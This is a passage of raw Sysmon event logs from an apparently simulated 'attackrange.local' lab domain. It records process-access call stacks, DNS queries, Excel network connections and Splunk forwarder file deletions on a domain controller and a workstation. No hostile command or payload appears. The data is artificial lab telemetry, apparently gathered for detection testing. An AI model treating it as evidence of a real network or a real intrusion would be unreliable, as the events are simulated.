ll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.869{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.869{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.869{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.869{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.869{7BD73061-6D0E-613B-8B06-00000000F001}45005608C:\Windows\system32\sihost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.854{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.854{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.854{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000046600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.682{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=461982084F15E015B9A55BFCF917D0DB,SHA256=57335FEC7B1DD69F9286922228B98DA2BA9FBDA5A10AA8E80F9B7CAF858E65D1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000046599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:47:37.666{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LastKnownC2RProductReleaseId\PublisherO365ProPlusRetail 354300x800000000000000046598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.856{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local54587- 354300x800000000000000046597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.829{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59325-false52.109.16.2-443https 354300x800000000000000046596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.827{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57664- 354300x800000000000000046595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.827{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61743- 354300x800000000000000046594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.827{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local52989- 354300x800000000000000046593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.826{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62232- 354300x800000000000000046592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.826{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54587- 354300x800000000000000046591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.826{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63899- 23542300x800000000000000046590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.418{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=226FC23B7FC5CC78D3C920FA301DC40A,SHA256=59B0C345BB1EF0B3EC1A7065C60694F2B0BC8B0CADBC0D3E34436965BB43DF50,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.369{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5A88DC063611C50CC29DF14BF41551CA,SHA256=DEE63271B1E3458000D3FC6AD0806E1F2ABC4564AA8207CBAC028DDB2F1055ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000046588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.483{7BD73061-7003-613B-F90A-00000000F001}5220binaries.templates.cdn.office.net0type: 5 binaries.templates.cdn.office.net.edgesuite.net;type: 5 a1847.dscg2.akamai.net;::ffff:2.18.213.75;::ffff:2.18.213.24;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.184{7BD73061-7003-613B-F90A-00000000F001}5220metadata.templates.cdn.office.net0type: 5 templatesmetadata.office.net;type: 5 templatesmetadata.office.net.edgekey.net;type: 5 e26769.b.akamaiedge.net;::ffff:2.16.218.40;::ffff:2.16.218.50;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 23542300x800000000000000046586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.229{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=260E23E590B1EBD3D900DA1752B2548D,SHA256=D77B49E605D984844011E49FBE42378A40ED43EB2316234D0547AFE847DD5653,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.119{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=559BFAA78D48A7F57C2F4C030CB67C04,SHA256=BDE0FDB338AA0C571F321447AB7DA9AE43E2FAA9599117970CF6691C50246B26,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000014475Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:37.491{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50154-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014474Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:38.413{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC5A6B0A33766581662A300E6E8150F1,SHA256=BE24FCFFBFDD01895FBB5BF6AFF5FFB416D8CEE7AB4F46CAB9C73C4E3EBF1FC7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.796{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59326-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.796{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59326-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.794{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62214- 354300x800000000000000046614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.841{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62678- 23542300x800000000000000046613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:38.307{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B73CCAAA9E1109D4C4D8330E21BBC2CA,SHA256=E4BEBA977E5592D348BD2F0A2AE3BD30012C1EBB4D9F7D9A04984FEEEEB7CEBC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:38.135{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-7006-613B-FC0A-00000000F001}7140C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24cca|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:38.135{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-7006-613B-FC0A-00000000F001}7140C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:38.135{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98F11A6186871EFE84177DC623508C79,SHA256=A33E34AA83AFC066680A6920618C2BBA41630ED33833AE7BEC10C7846A5755E4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:39.900{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+1a375|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000046625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.151{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59329-false13.89.178.26-443https 354300x800000000000000046624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.026{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58925- 354300x800000000000000046623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.812{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59327-false40.101.137.66-443https 23542300x800000000000000046622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:39.385{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 